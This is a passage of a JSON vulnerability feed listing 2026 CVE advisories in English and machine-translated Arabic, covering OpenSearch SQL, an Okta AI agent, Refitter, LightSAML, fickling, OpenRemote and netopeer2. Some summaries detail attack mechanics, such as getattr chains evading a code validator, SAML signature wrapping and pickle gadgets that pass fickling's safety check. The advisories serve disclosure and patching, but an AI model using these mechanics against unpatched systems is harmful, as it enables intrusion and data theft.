7.3.0."},"refs":[["https://github.com/inex/IXP-Manager/security/advisories/GHSA-m7g4-g69h-vj5w","ref"],["https://github.com/inex/IXP-Manager/commit/3856e93681cc5efdaf9e3a7f53a751081433d021","ref"],["https://github.com/inex/IXP-Manager/releases/tag/v7.3.0","ref"]],"epss":0.0026,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"inex-ixp-manager"},{"id":"CVE-2026-63393","cvss":8.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","cwe":"CWE-502","tags":["RCE"],"zero":false,"exploited":false,"status":"unknown","published":"2026-10-30T22:22:05Z","product":"opensearch-project sql","affected":[],"title":{"en":"OpenSearch SQL plugin: Unsafe cursor deserialization permits server code execution","ar":"إضافة OpenSearch SQL: إلغاء تسلسل مؤشر غير آمن يتيح تنفيذ شيفرة برمجية على الخادم"},"summary":{"en":"OpenSearch SQL supports querying OpenSearch data using SQL and Piped Processing Language. In the 2.x line from 2.8.0.0 until 2.19.6.0, and the 3.x line prior to 3.7.0.0, a remote authenticated user with basic read/search permissions can provide a crafted `cursor` parameter to the `plugins/sql` endpoint and trigger unsafe deserialization of untrusted data, resulting in arbitrary code execution on the server. This issue is fixed in repository releases 2.19.6.0 and 3.7.0.0.","ar":"تدعم إضافة OpenSearch SQL الاستعلام عن بيانات OpenSearch باستخدام لغة SQL ولغة المعالجة المجمعة. في الإصدارات من 2.8.0.0 وحتى 2.19.6.0 ضمن سلسلة 2.x، وسلسلة 3.x قبل الإصدار 3.7.0.0، يمكن لمهاجم عن بُعد يملك حسابًا مصادقًا عليه مع صلاحيات القراءة/البحث الأساسية توفير معلمة cursor معدلة خصيصاً إلى نقطة النهاية plugins/sql وتفعيل إلغاء تسلسل غير آمن لبيانات غير موثوقة، مما ينتج عنه تنفيذ شيفرة عشوائية على الخادم. تم إصلاح هذه المشكلة في إطلاقات المستودع 2.19.6.0 و3.7.0.0."},"refs":[["https://github.com/opensearch-project/sql/security/advisories/GHSA-r8cv-xvqm-4qj4","ref"],["https://github.com/opensearch-project/sql/pull/5469","ref"],["https://github.com/opensearch-project/sql/pull/5572","ref"],["https://github.com/opensearch-project/sql/commit/402a284f1dff3545236480b67f860aa93fb667de","ref"],["https://github.com/opensearch-project/sql/commit/9ab50384d3ad571a14211415fba2f6d26d4c80db","ref"],["https://github.com/opensearch-project/sql/releases/tag/2.19.6.0","ref"],["https://github.com/opensearch-project/sql/releases/tag/3.7.0.0","ref"]],"epss":0.005,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"opensearch-project-sql"},{"id":"CVE-2026-63378","cvss":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","cwe":"CWE-94","tags":["RCE"],"zero":false,"exploited":false,"status":"unknown","published":"2026-10-30T22:19:39Z","product":"fctr-id okta-ai-agent","affected":[],"title":{"en":"TAKO AI Agent for Okta: Authenticated Python execution through validator bypass","ar":"TAKO AI Agent for Okta: تنفيذ شيفرة Python مصادق عليها عبر تجاوز أداة التحقق"},"summary":{"en":"TAKO AI Agent for Okta is a local-first AI agent that helps Okta administrators query tenant data using natural language. Prior to 3.0.1-beta, any authenticated user with a valid `fctr_session` cookie can submit arbitrary Python source in the `script_code` field of `POST /api/react/execute-script`, without administrator privilege. In `src/api/routers/react_stream.py`, the source is stored with `skip_discovery=True`, bypassing AI-based content filtering, and is passed to `validate_generated_code` in `src/utils/security_config.py`. `BLOCKED_PATTERNS` recognizes direct `__import__` calls but misses the import name passed as a string, `getattr` is in `ALLOWED_BUILTINS`, and the AST checker handles `ast.Name` and `ast.Attribute` targets but fails to handle `ast.Call` targets. Dynamic `getattr` call chains through `__builtins__` therefore evade validation. The `_write_temp_script` helper writes the accepted code to disk, and `asyncio.create_subprocess_exec()` executes it as the application process user, which is root in the default container. Command output is returned as Server-Sent Events through `GET /api/react/stream-react-updates?process_id=<id>`. The resulting container compromise can disclose environment secrets including Okta API tokens and the JWT key, expose the SQLite database, and permit backend-service pivoting and persistence. This issue is fixed in version 3.0.1-beta.","ar":"المنتج TAKO AI Agent for Okta هو وكيل ذكاء اصطناعي محلي يساعد مسؤولي Okta في الاستعلام عن بيانات المستأجر باستخدام اللغة الطبيعية. قبل الإصدار 3.0.1-beta، يمكن لأي مستخدم مصادق عليه يملك ملف تعريف ارتباط صالحة `fctr_session` إرسال شيفرة مصدرية عشوائية بلغة Python في حقل `script_code` ضمن الطلب `POST /api/react/execute-script`، ودون امتيازات المسؤول. في ملف `src/api/routers/react_stream.py`، تُخزن الشيفرة مع تعيين `skip_discovery=True` لتجاوز تصفية المحتوى المعتمدة على الذكاء الاصطناعي، وتُمرر إلى `validate_generated_code` في `src/utils/security_config.py`. تتعرف الأنماط `BLOCKED_PATTERNS` على استدعاءات `__import__` المباشرة ولكنها تفوت اسم الاستيراد الممرر كسلسلة نصية، كما أن `getattr` موجودة ضمن `ALLOWED_BUILTINS`، ولا يتعامل فاحص AST مع الأهداف من نوع `ast.Name` و `ast.Attribute` بل يفشل في التعامل مع أهداف `ast.Call`. وبالتالي، تفلت سلاسل استدعاءات `getattr` الديناميكية عبر `__builtins__` من عملية التحقق. يقوم المساعد `_write_temp_script` كتابة الشيفرة المقبولة على القرص، وينفذها `asyncio.create_subprocess_exec()` بصفتها مستخدم عملية التطبيق، وهو الجذر (root) في الحاوية الافتراضية. يُعاد إرجاع مخرجات الأوامر كأحداث مرسلة من الخادم (Server-Sent Events) عبر `GET /api/react/stream-react-updates?process_id=<id>`. يمكن أن يؤدي اختراق الحاوية الناتج إلى كشف أسرار بيئة العمل بما في ذلك رموز Okta API ومفتاح JWT، وتعريض قاعدة بيانات SQLite، والسماح بالتنقل الجانبي لخدمات الخلفية واستمراريتها. تم إصلاح هذه المشكلة في الإصدار 3.0.1-beta."},"refs":[["https://github.com/fctr-id/okta-ai-agent/security/advisories/GHSA-r9q7-6784-7rc6","ref"],["https://github.com/fctr-id/okta-ai-agent/commit/3b5ccaff8423cdfa6d26f5e133c01b8b71148df4","ref"],["https://github.com/fctr-id/okta-ai-agent/releases/tag/v3.0.1-beta","ref"]],"epss":0.0036,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"fctr-id-okta-ai-agent"},{"id":"CVE-2026-63377","cvss":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","cwe":"CWE-306","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-10-30T22:18:26Z","product":"fctr-id okta-ai-agent","affected":[],"title":{"en":"TAKO AI Agent for Okta: Unauthenticated first-run administrator takeover","ar":"TAKO AI Agent for Okta: استيلاء مسؤول التشغيل الأول دون مصادقة"},"summary":{"en":"TAKO AI Agent for Okta is a local-first AI agent that helps Okta administrators query tenant data using natural language. Prior to 3.0.1-beta, `POST /api/auth/setup` in `src/api/routers/auth.py` allows an unauthenticated network attacker to create the first administrator account before the legitimate owner completes initial setup. The `initial_setup` function checks only the `is_setup` completion flag and requires no authentication, one-time bootstrap token, or network restriction. The default `docker-compose.yml` publishes port 8001 on all interfaces, the `Dockerfile` starts the listener on 0.0.0.0, and `src/api/main.py` mounts the authentication router without a global authentication guard. The endpoint invokes `create_auth_user` with `UserRole.ADMIN` and `set_auth_cookie`, issuing a valid `fctr_session` JWT cookie. Localhost-only CORS rules do not restrict non-browser HTTP clients, and the setup operation does not require access to a real Okta tenant. The attacker becomes the sole administrator and prevents legitimate first-run setup, can read Okta-synced user data, API tokens, chat history, and application configuration, modify users and Okta integration credentials, and lock out administrators or disable the service. Already completed setup is rejected. This issue is fixed in version 3.0.1-beta.","ar":"المنتج TAKO AI Agent for Okta هو وكيل ذكاء اصطناعي محلي يساعد مسؤولي Okta في الاستعلام عن بيانات المستأجر باستخدام اللغة الطبيعية. قبل الإصدار 3.0.1-beta، يسمح المسار `POST /api/auth/setup` في `src/api/routers/auth.py` لمهاجم شبكة دون مصادقة بإنشاء حساب المسؤول الأول قبل أن يكمل المالك الشرعي الإعداد الأولي. تتحقق الدالة `initial_setup` فقط من علامة إتمام `is_setup` ولا تتطلب أي مصادقة، أو رميّة تمهيدية لمرة واحدة (bootstrap token)، أو تقييدًا للشبكة. ينشر ملف `docker-compose.yml` الافتراضي المنفذ 8001 على جميع واجهات الشبكة، ويبدأ ملف `Dockerfile` المستمع على العنوان 0.0.0.0، ويقوم ملف `src/api/main.py` بتثبيت موجه المصادقة دون حماية مصادقة عامة. يستدعي نقطة النهاية `create_auth_user` مع `UserRole.ADMIN` و `set_auth_cookie`، مما يصدر ملف تعريف ارتباط JWT صالحًا لـ `fctr_session`. لا تقيد قواعد مشاركة الموارد عبر المنشأ (CORS) المقتصرة على المضيف المحلي عملاء HTTP غير المستندين إلى المتصفح، ولا تتطلب عملية الإعداد الوصول إلى مستأجر Okta حقيقي. يصبح المهاجم المسؤول الوحيد ويمنع إعداد التشغيل الأول الشرعي، ويمكنه قراءة بيانات المستخدمين المتزامنة مع Okta، ورموز API، وسجل الدردشة، وتكوين التطبيق، وتعديل المستخدمين وبيانات اعتماد تكامل Okta، وقفل المسؤولين أو تعطيل الخدمة. يتم رفض الإعداد المكتمل مسبقًا. تم إصلاح هذه المشكلة في الإصدار 3.0.1-beta."},"refs":[["https://github.com/fctr-id/okta-ai-agent/security/advisories/GHSA-536w-42p8-3qv9","ref"],["https://github.com/fctr-id/okta-ai-agent/commit/3b5ccaff8423cdfa6d26f5e133c01b8b71148df4","ref"],["https://github.com/fctr-id/okta-ai-agent/releases/tag/v3.0.1-beta","ref"]],"epss":0.004,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"fctr-id-okta-ai-agent"},{"id":"CVE-2026-63346","cvss":8.6,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","cwe":"CWE-94","tags":["RCE"],"zero":false,"exploited":false,"status":"unknown","published":"2026-10-30T22:17:02Z","product":"christianhelle refitter","affected":[],"title":{"en":"Refitter: C# source injection through OpenAPI header parameter names","ar":"Refitter: حقن مصدر C# من خلال أسماء معاملات رأس OpenAPI"},"summary":{"en":"Refitter is a tool for generating a C# REST API client using the Refit library. Prior to 2.1.2, the header parameter name in `parameters[].name` with `in: header` is emitted verbatim into a Refit `[Header(\"<name>\")]` attribute string without escaping quotation marks. An attacker-influenced OpenAPI description can pass default validation without `--skip-validation` and break out from the parameter-list position by closing the parameter and method syntax, attribute, interface, and namespace. The generated file can remain valid C# while containing a top-level file class with a `[ModuleInitializer]` method, which executes attacker code when the compiled assembly is loaded at application startup, even if the client is never called. Query `AliasAs` and enum/default value sinks are escaped; this flaw is in header-name attribute-string emission. The behavior was verified with Refitter 2.0.0 and .NET 8. This issue is fixed in version 2.1.2.","ar":"أداة Refitter هي أداة لتوليد عميل واجهة برمجة تطبيقات REST بلغة C# باستخدام مكتبة Refit. قبل الإصدار 2.1.2، يتم تضمين اسم معامل الرأس الموجود في `parameters[].name` مع الخاصية `in: header` بحرفية داخل سلسلة سمات Refit الخاصة بـ `[Header(\"<name>\")]` دون الهروب من علامات التنصيص. يمكن لوصف OpenAPI المتأثر بالمهاجم اجتياز التحقق الافتراضي دون استخدام `--skip-validation` والكسر خارج موضع قائمة المعاملات عن طريق إغلاق بنية المعامل والدالة والسمة والواجهة ومساحة الأسماء. يمكن أن يظل الملف المُولَّد كود C# صالحًا بينما يحتوي على فئة ملف من المستوى الأعلى مع طريقة `[ModuleInitializer]`، والتي تنفذ شيفرة المهاجم عند تحميل التجميع المترجم عند بدء تشغيل التطبيق، حتى لو لم يتم استدعاء العميل أبداً. يتم الهروب من استعلام `AliasAs` ومواضع القيم الافتراضية أو التعداد؛ وهذا الخلل موجود في تضمين سلسلة سمات اسم الرأس. تم التحقق من السلوك باستخدام Refitter 2.0.0 و .NET 8. تم إصلاح هذه المشكلة في الإصدار 2.1.2."},"refs":[["https://github.com/christianhelle/refitter/security/advisories/GHSA-58x9-vjvp-6mx8","ref"],["https://github.com/christianhelle/refitter/pull/1178","ref"],["https://github.com/christianhelle/refitter/commit/63a19b03699a9c267d6fab5f758ec26484db83a1","ref"],["https://github.com/christianhelle/refitter/releases/tag/2.1.2","ref"],["https://github.com/user-attachments/files/29395048/maintainer-report.txt","ref"],["https://github.com/user-attachments/files/29395050/make_spec.py","ref"],["https://github.com/user-attachments/files/29395051/reproduce.sh","ref"]],"epss":0.0035,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"christianhelle-refitter"},{"id":"CVE-2026-63182","cvss":8.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N","cwe":"CWE-347","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-10-30T22:16:58Z","product":"litesaml lightsaml","affected":[],"title":{"en":"LightSAML: Signature reference wrapping permits unsigned assertion claims","ar":"LightSAML: لف مرجع التوقيع يسمح بادعاءات توثيق غير موقعة"},"summary":{"en":"LightSAML implements SAML 2.0 data model classes, XML serialization and deserialization, XML security, certificate support, and message bindings. Prior to 4.7.1 and 5.0.1, LightSAML and xmlseclibs disagree about which assertion an inbound SAML signature covers. `Response::deserialize` uses `manyElementsFromXml` to collect only direct-child `saml:Assertion` elements of `samlp:Response`, and `AssertionSignatureValidatorAction` validates their `ds:Signature` using an out-of-band trusted IdP credential resolved by Issuer, not a key from the document. `XMLSecurityDSig::validateReference()` removes the enveloped signature from the shared DOM, but `processRefNode()` resolves `Reference URI=\"#id\"` document-wide through an XPath of the form `//*[@Id]` and takes `item(0)`, which need not be the assertion whose claims LightSAML consumes. An attacker who has captured one genuinely signed assertion, such as an earlier login response, can place its signature-stripped bytes earlier in `samlp:Extensions` and present a forged direct-child assertion with the same ID and copied genuine signature. Validation then covers the hidden genuine bytes while LightSAML surfaces unsigned attacker-controlled `Subject/NameID`, `Conditions`, and `Attributes`, enabling authentication bypass or privilege escalation even when signature validation is required. The behavior was confirmed in versions 5.0.0 and 4.6.1. This issue is fixed in versions 4.7.1 and 5.0.1.","ar":"تقوم مكتبة LightSAML بتنفيذ فئات نموذج بيانات SAML 2.0، وتسلسل XML وإلغائه، وأمان XML، ودعم الشهادات، وربط الرسائل. قبل الإصدارين 4.7.1 و 5.0.1، تختلف مكتبة LightSAML وxmlseclibs حول التوثيق الذي يغطيه توقيع SAML الوارد. تستخدم الدالة `Response::deserialize` التابع `manyElementsFromXml` لجمع عناصر `saml:Assertion` المباشرة فقط لـ `samlp:Response`، ويقوم `AssertionSignatureValidatorAction` التحقق من صحة `ds:Signature` الخاصة بها باستخدام بيانات اعتماد موثوقة لمزود الهوية خارج النطاق يتم حلها بواسطة جهة الإصدار، وليس مفتاحًا من المستند. تقوم الدالة `XMLSecurityDSig::validateReference()` بإزالة التوقيع المغلف من شجرة DOM المشتركة، ولكن `processRefNode()` تحل `Reference URI=\"#id\"` على مستوى المستند بالكامل عبر XPath من النمط `///*[@Id]` وتأخذ `item(0)`، والتي لا يجب بالضرورة أن تكون التوثيق الذي تستهلك ادعاءاته مكتبة LightSAML. يمكن لمهاجم التقط توثيقًا موقعًا بشكل صحيح، مثل استجابة تسجيل دخول سابقة، وضع بايات التوقيع المزالة منه في وقت مبكر ضمن `samlp:Extensions` وتقديم توثيق فرعي مباشر مزور بنفس المعرف والتوقيع الصحيح المنسوخ. يغطي التحقق بعد ذلك البايتات الأصلية المخفية بينما تعرض LightSAML عناصر `Subject/NameID` و `Conditions` و `Attributes` غير الموقع المتحكم بها من قبل المهاجم، مما يتيح تجاوز المصادقة أو تصعيد الصلاحيات حتى عندما يكون التحقق من التوقيع مطلوبًا. تم تأكيد السلوك في الإصدارين 5.0.0 و 4.6.1. تم إصلاح هذه المشكلة في الإصدارين 4.7.1 و 5.0.1."},"refs":[["https://github.com/litesaml/lightsaml/commit/230e62d1325f2cbcaac814b78409775f7a8806a2","ref"],["https://github.com/litesaml/lightsaml/commit/3af82bf2f3865e6aafeeb1a97c97b383b8bb7b00","ref"],["https://github.com/litesaml/lightsaml/pull/113","ref"],["https://github.com/litesaml/lightsaml/pull/122","ref"],["https://github.com/litesaml/lightsaml/releases/tag/4.7.1","ref"],["https://github.com/litesaml/lightsaml/releases/tag/5.0.1","ref"],["https://github.com/litesaml/lightsaml/security/advisories/GHSA-w553-pwx6-3mg9","ref"]],"epss":0.0015,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"litesaml-lightsaml"},{"id":"CVE-2026-16760","cvss":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","cwe":"CWE-502","tags":["RCE"],"zero":false,"exploited":false,"status":"unknown","published":"2026-10-30T22:16:54Z","product":"trailofbits fickling","affected":[["0 – 0.1.12",null]],"title":{"en":"Fickling check_safety() bypass: likely_safe_imports grants module-origin trust to unvalidated standard library callables","ar":"تجاوز check_safety() في Fickling: تمنح likely_safe_imports ثقة أصل الوحدة النمطية لعناصر القياسية غير المتحقق منها"},"summary":{"en":"In Trail of Bits fickling through 0.1.12, the _process_import() method in fickle.py adds an imported name to the likely_safe_imports set whenever the source module is present in sys.stdlib_module_names and the name is absent from the UNSAFE_IMPORTS denylist, without inspecting what the name resolves to or how it behaves. The OvertlyBadEvals analysis pass in analysis.py then unconditionally skips any call whose function name appears in likely_safe_imports, including calls that would otherwise be flagged as overtly dangerous. As a result, any callable reachable through a non-blocked standard library module inherits module-level trust regardless of its own behavior, and check_safety() returns LIKELY_SAFE with zero findings for pickle payloads that reach code execution or file write through such callables. Demonstrated primitives: dataclasses._create_fn, which passes an attacker-controlled function body to exec() and yields arbitrary code execution on Python 3.7 through 3.12 (the internal _create_fn function was removed in Python 3.13); mailcap.findmatch, which internally calls os.system() on a test command taken from an attacker-controlled caps dictionary, yielding arbitrary code execution on Python versions through 3.12 (the mailcap module was removed in Python 3.13); and readline.add_history() followed by readline.write_history_file(), which writes attacker-controlled content to an arbitrary filesystem path (POSIX platforms, where the readline module is available). fickling.load() chains check_safety() into pickle.loads() as an explicit security gate, so a LIKELY_SAFE verdict causes the payload to be deserialized and executed with the privileges of the victim process. The root cause is the inference of callable safety from module origin; it is independent of, and separately fixable from, the dotted __qualname__ resolution weakness tracked as CVE-2026-118938, which this advisory does not address. As of 2026-10-30 the three demonstrated modules were added to UNSAFE_IM…","ar":"في أداة fickling من Trail of Bits حتى الإصدار 0.1.12، تضيف طريقة _process_import() في fickle.py اسمًا مستوردًا إلى مجموعة likely_safe_imports متى كانت وحدة المصدر موجودة في sys.stdlib_module_names وكان الاسم غائبًا عن قائمة الحظر UNSAFE_IMPORTS، دون فحص ما يتم حل الاسم إليه أو كيفية سلوكه. بعد ذلك، يتخطى تمرير تحليل OvertlyBadEvals في analysis.py دون قيد أو شرط أي استدعاء يظهر اسم دالة فيها ضمن likely_safe_imports، بما في ذلك الاستدعاءات التي يتم الإبلاغ عنها بخلاف ذلك على أنها خطيرة صراحة. ونتيجة لذلك، يرث أي عنصر قابل للاستدعاء يمكن الوصول إليه من خلال وحدة قياسية غير محظورة ثقة مستوى الوحدة بغض النظر عن سلوكه الخاص، وتُرجع الدالة check_safety() النتيجة LIKELY_SAFE مع صفر نتائج لحمولات التخزين المؤقت (pickle) التي تصل إلى تنفيذ الشيفرة أو الكتابة على الملفات من خلال هذه العناصر القابلة للاستدعاء. البدائل المُثبتة: dataclasses._create_fn، والتي تمرر جسم دالة يتحكم فيه المهاجم إلى exec() وتنتج تنفيذاً عشوائياً للشيفرة على إصدارات Python من 3.7 حتى 3.12 (تمت إزالة دالة _create_fn الداخلية في Python 3.13)؛ وmailcap.findmatch، التي تستدعي داخليًا os.system() على أمر اختبار مأخوذ من قاموس caps يتحكم فيه المهاجم، مما ينتج عنه تنفيذ شيفرة عشوائية على إصدارات Python حتى 3.12 (تمت إزالة وحدة mailcap في Python 3.13)؛ وreadline.add_history() متبوعًا بـ readline.write_history_file()، والذي يكتب محتوى يتحكم فيه المهاجم إلى مسار نظام ملفات عشوائي (منصات POSIX، حيث تتوفر وحدة readline). تربط fickling.load() الدالة check_safety() بـ pickle.loads() كبوابة أمان صريحة، لذا فإن حكم LIKELY_SAFE يتسبب في إلغاء تسلسل الحمولة وتنفيذها بصلاحيات عملية الضحية. السبب الجذري هو استنتاج أمان القابل للاستدعاء من أصل الوحدة؛ وهو مستقل عن، وقابل للإصلاح بشكل منفصل عن، ضعف حل نقطة __qualname__ المتتبع كـ CVE-2026-118938، والذي لا تعالجه هذه الاستشارة. اعتبارًا من 2026-10-30، تمت إضافة الوحدات الثلاث التي تم إثباتها إلى UNSAFE_IM..."},"refs":[["https://bombadil.systems/advisories.html","ref"],["https://github.com/trailofbits/fickling","ref"],["https://github.com/trailofbits/fickling/commit/d011709","ref"],["https://pypi.org/project/fickling/0.1.12/","ref"]],"epss":0.0046,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"trailofbits-fickling"},{"id":"CVE-2026-63344","cvss":8.6,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","cwe":"CWE-94","tags":["RCE"],"zero":false,"exploited":false,"status":"unknown","published":"2026-10-30T22:15:27Z","product":"christianhelle refitter","affected":[],"title":{"en":"Refitter: C# source injection through OpenAPI content-type map keys","ar":"Refitter: حقن مصدر C# من خلال مفاتيح خريطة نوع محتوى OpenAPI"},"summary":{"en":"Refitter is a tool for generating a C# REST API client using the Refit library. Prior to 2.1.2, content-type keys in the content maps of `requestBody/responses` are emitted verbatim into a Refit `[Headers(\"Accept: <ct>\", \"Content-Type: <ct>\")]` attribute string without escaping quotation marks. A crafted content-type key in an attacker-influenced OpenAPI description survives default validation without `--skip-validation`, breaks out of the attribute string and enclosing interface and namespace, and can introduce a top-level file class while leaving valid generated C#. A `[ModuleInitializer]` method in that class executes attacker code when the generated assembly is loaded at application startup, without requiring a call to the client. The behavior was verified with Refitter 2.0.0 and .NET 8. This issue is fixed in version 2.1.2.","ar":"أداة Refitter هي أداة لتوليد عميل واجهة برمجة تطبيقات REST بلغة C# باستخدام مكتبة Refit. قبل الإصدار 2.1.2، يتم تضمين مفاتيح نوع المحتوى في خرائط محتوى `requestBody/responses` بحرفية داخل سلسلة سمات Refit الخاصة بـ `[Headers(\"Accept: <ct>\", \"Content-Type: <ct>\")]` دون الهروب من علامات التنصيص. يمكن لمفتاح نوع محتوى مصمم في وصف OpenAPI متأثر بالمهاجم اجتياز التحقق الافتراضي دون `--skip-validation`، والكسر خارج سلسلة السمات والواجهة ومساحة الأسماء المحيطة، ويمكنه تقديم فئة ملف من المستوى الأعلى مع ترك كود C# صالحًا مولدًا. تقوم طريقة `[ModuleInitializer]` في تلك الفئة بتنفيذ شيفرة المهاجم عند تحميل التجميع المُولَّد عند بدء تشغيل التطبيق، دون الحاجة إلى استدعاء العميل. تم التحقق من السلوك باستخدام Refitter 2.0.0 و .NET 8. تم إصلاح هذه المشكلة في الإصدار 2.1.2."},"refs":[["https://github.com/christianhelle/refitter/security/advisories/GHSA-p32v-8v8j-j534","ref"],["https://github.com/christianhelle/refitter/pull/1178","ref"],["https://github.com/christianhelle/refitter/commit/ab4d8e439d6f0ee82ad49ee15323978d70fe5a67","ref"],["https://github.com/christianhelle/refitter/releases/tag/2.1.2","ref"],["https://github.com/user-attachments/files/29394848/reproduce.sh","ref"],["https://github.com/user-attachments/files/29394851/maintainer-report.txt","ref"],["https://github.com/user-attachments/files/29394853/make_spec.py","ref"]],"epss":0.0035,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"christianhelle-refitter"},{"id":"CVE-2026-63224","cvss":7.2,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:L/VA:L/SC:N/SI:N/SA:N","cwe":"CWE-89","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-10-30T22:05:43Z","product":"openremote openremote","affected":[],"title":{"en":"OpenRemote has authenticated SQL injection in crosstab datapoint exports","ar":"منصة OpenRemote تحتوي على ثغرة حقن SQL مصادق عليها في عمليات تصدير نقاط البيانات بتقاطع الجداول"},"summary":{"en":"OpenRemote is an open-source internet-of-things platform. Prior to 1.26.0, the `datapoint export` API constructs `CSV crosstab` SQL by concatenating an `asset name` and `attribute name` into a `COPY` query that uses `crosstab` and streams `TO STDOUT`. The `asset name` enters both a double-quoted column identifier and a category query enclosed by the fixed `$cat$` delimiter. Escaping single quotes in one string context does not escape embedded double quotes in identifiers or protect that dollar-quote boundary. An authenticated user permitted to create or rename an asset and read/export datapoints for one of its attributes can store SQL metacharacters in the name and request a `crosstab` export, causing injected SELECT output to be returned in the normal ZIP/CSV response. This enables database exfiltration without direct database or filesystem access or token forgery. In a multi-tenant deployment it can expose other tenants' data if the manager's database role can read shared tables; integrity and availability effects are not established by the demonstrated read primitive. This issue is fixed in version 1.26.0.","ar":"منصة OpenRemote هي منصة إنترنت أشياء مفتوحة المصدر. قبل الإصدار 1.26.0، تقوم واجهة برمجة التطبيقات `datapoint export` بنناء استعلام SQL من نوع `CSV crosstab` عن طريق ربط `asset name` و`attribute name` في استعلام `COPY` يستخدم `crosstab` ويبث البيانات `TO STDOUT`. يدخل `asset name` في كل من معرف عمود محاط بعلامات اقتباس مزدوجة واستعلام فئة محاط بمحدد `$cat$` الثابت. الهروب من علامات الاقتباس المفردة في سياق نصي واحد لا يتجنب علامات الاقتباس المزدوجة المضمنة في المعرفات ولا يحمي حدود علامات الدولار تلك. يمكن للمستخدم المصادق عليه المسموح له بإنشاء أصل أو إعادة تسميته وقراءة/تصدير نقاط البيانات لأحد سماته تخزين رموز SQL التعريفية في الاسم وطلب تصدير `crosstab`، مما يتسبب في إرجاع مخرجات `SELECT` المحقونة في استجابة ZIP/CSV العادية. يتيح ذلك استخراج بيانات قاعدة البيانات دون الوصول المباشر لقاعدة البيانات أو نظام الملفات أو تزوير الرموز المميزة. في نشر متعدد المستأجرين، يمكن أن يكشف بيانات المستأجرين الآخرين إذا كان دور قاعدة البيانات الخاص بالمدير قد يمكنه قراءة الجداول المشتركة؛ ولم يتم تثبيت آثار السلامة والتوافر بواسطة أساسيات القراءة الموضحة. تم إصلاح هذه المشكلة في الإصدار 1.26.0."},"refs":[["https://github.com/openremote/core/security/advisories/GHSA-cgfv-jrfp-2r7v","ref"],["https://github.com/openremote/core/commit/02ac83074b81617add814b2a72d459abdf374147","ref"],["https://github.com/openremote/core/releases/tag/1.26.0","ref"]],"epss":0.0034,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"openremote"},{"id":"CVE-2026-63201","cvss":7.1,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","cwe":"CWE-134","tags":["RCE"],"zero":false,"exploited":false,"status":"unknown","published":"2026-10-30T22:03:18Z","product":"CESNET netopeer2","affected":[],"title":{"en":"netopeer2-server logging has format string vulnerability via subtree filter","ar":"تسجيل netopeer2-server يحتوي على ثغرة سلسلة التنسيق عبر مرشح الشجرة الفرعية"},"summary":{"en":"Netopeer2 is a server for implementing network configuration management based on the `NETCONF` Protocol. In affected versions, a low-privileged authenticated `NETCONF` user can remotely crash `netopeer2-server` by sending a `get RPC` with an invalid `subtree filter` whose text contains format specifiers. In `src/netconf.c`, `np2srv_rpc_get_cb()` sends the invalid value through `ERR()` to `np2log_printf()`, where `vsnprintf()` first formats the message safely. In `src/log.c`, that already formatted buffer is subsequently passed to `np2log()` as the format string itself, causing `vsyslog()` to interpret attacker-controlled percent sequences and read invalid pointer arguments. The reported denial of service was confirmed on version 2.8.7 using `NETCONF`-over-SSH and AddressSanitizer; reliable remote code execution was not confirmed. `The advisory identifies 2.8.8 as patched`; repository comparisons verify the fix in public release 2.8.21. The affected/fixed boundary remains unresolved because no public 2.8.8 tag was located, which does not establish the status of an untagged 2.8.8 build.","ar":"برنامج Netopeer2 هو خادم لتنفيذ إدارة تكوين الشبكة بناءً على بروتوكول `NETCONF`. في الإصدارات المتأثرة، يمكن لمستخدم `NETCONF` مصادق عليه ذي صلاحيات منخفضة التسبب في تعطل `netopeer2-server` عن بُعد عن طريق إرسال طلب `get RPC` بمعرف `subtree filter` غير صالح يحتوي نصه على محددات التنسيق. في الملف `src/netconf.c`، ترسل الدالة `np2srv_rpc_get_cb()` القيمة غير الصالحة عبر `ERR()` إلى الدالة `np2log_printf()`، حيث تقوم الدالة `vsnprintf()` بتنسيق الرسالة بأمان أولاً. وفي الملف `src/log.c`، يتم تمرير المخزن المؤقت المنسق بالفعل لاحقًا إلى الدالة `np2log()` كسلساة تنسيق نفسها، مما يتسبب في قيام `vsyslog()` بتفسير تسلسل النسب المئوية التي يتحكم فيها المهاجم وقراءة وسائط المؤشر غير الصالحة. تم تأكيد حجب الخدمة المبلغ عنه في الإصدار 2.8.7 باستخدام `NETCONF`-over-SSH وAddressSanitizer؛ ولم يتم تأكيد تنفيذ أوامر عن بُعد بشكل موثوق. يحدد التنبيه الإصدار 2.8.8 على أنه تمت تصحيحه؛ وتتحقق مقارنات المستودعات من الإصلاح في الإصدار العام 2.8.21. 